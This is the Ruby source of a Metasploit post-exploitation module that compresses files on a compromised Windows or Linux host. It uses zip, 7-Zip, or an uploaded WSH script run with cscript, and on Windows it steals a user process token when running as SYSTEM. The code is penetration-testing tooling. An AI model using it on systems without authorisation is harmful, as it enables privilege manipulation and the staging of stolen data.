Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Windows::Priv
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Multi Manage File Compressor',
15
        'Description' => %q{
16
          This module zips a file or a directory. On Linux, it uses the zip command.
17
          On Windows, it will try to use remote target's 7Zip if found. If not, it falls
18
          back to its Windows Scripting Host.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [ 'sinn3r' ],
22
        'Platform' => [ 'win', 'linux' ],
23
        'SessionTypes' => [ 'meterpreter', 'shell' ],
24
        'Compat' => {
25
          'Meterpreter' => {
26
            'Commands' => %w[
27
              stdapi_sys_config_rev2self
28
              stdapi_sys_config_steal_token
29
            ]
30
          }
31
        }
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptString.new('DESTINATION', [true, 'The destination path']),
38
        OptString.new('SOURCE', [true, 'The directory or file to compress'])
39
      ]
40
    )
41
  end
42

43
  def get_program_file_path
44
    get_env('ProgramFiles')
45
  end
46

47
  def has_7zip?
48
    file?("#{get_program_file_path}\\7-Zip\\7z.exe")
49
  end
50

51
  def wsh_script(dst, src)
52
    script_file = File.read(File.join(Msf::Config.data_directory, 'post', 'zip', 'zip.js'))
53
    src.gsub!('\\', '\\\\\\')
54
    dst.gsub!('\\', '\\\\\\')
55
    script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding('UTF-8')
56
    script_file
57
  end
58

59
  def find_pid_by_user(username)
60
    computer_name = get_env('COMPUTERNAME')
61
    print_status("Searching for PID for #{computer_name}\\\\#{username}")
62
    session.sys.process.processes.each do |p|
63
      if p['user'] == "#{computer_name}\\#{username}"
64
        return p['pid']
65
      end
66
    end
67

68
    nil
69
  end
70

71
  def steal_token
72
    current_user = get_env('USERNAME')
73
    pid = find_pid_by_user(current_user)
74

75
    unless pid
76
      fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")
77
    end
78

79
    print_status("Stealing token from PID #{pid} for #{current_user}")
80
    begin
81
      session.sys.config.steal_token(pid)
82
    rescue Rex::Post::Meterpreter::RequestError => e
83
      # It could raise an exception even when the token is successfully stolen,
84
      # so we will just log the exception and move on.
85
      elog(e)
86
    end
87

88
    @token_stolen = true
89
  end
90

91
  def upload_exec_wsh_script_zip
92
    if is_system?
93
      unless session
94
        print_error('Unable to compress with WSH technique without Meterpreter')
95
        return
96
      end
97

98
      steal_token
99
    end
100

101
    script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])
102
    tmp_path = "#{get_env('TEMP')}\\zip.js"
103
    print_status("script file uploaded to #{tmp_path}")
104
    write_file(tmp_path, script.encode('UTF-16LE'))
105
    cmd_exec("cscript.exe #{tmp_path}")
106
  end
107

108
  def do_7zip
109
    program_file_path = get_program_file_path
110
    output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"")
111
    vprint_line(output)
112
  end
113

114
  def do_zip
115
    output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}")
116
    vprint_line(output)
117
  end
118

119
  def windows_zip
120
    if has_7zip?
121
      print_status("Compressing #{datastore['DESTINATION']} via 7zip")
122
      do_7zip
123
    else
124
      print_status("Compressing #{datastore['DESTINATION']} via WSH")
125
      upload_exec_wsh_script_zip
126
    end
127
  end
128

129
  def linux_zip
130
    print_status("Compressing #{datastore['DESTINATION']} via zip")
131
    do_zip
132
  end
133

134
  def cleanup
135
    if @token_stolen && session
136
      session.sys.config.revert_to_self
137
      print_status('Token restored.')
138
    end
139

140
    super
141
  end
142

143
  def run
144
    @token_stolen = false
145

146
    if session.platform == 'windows'
147
      windows_zip
148
    else
149
      linux_zip
150
    end
151
  end
152
end
153

154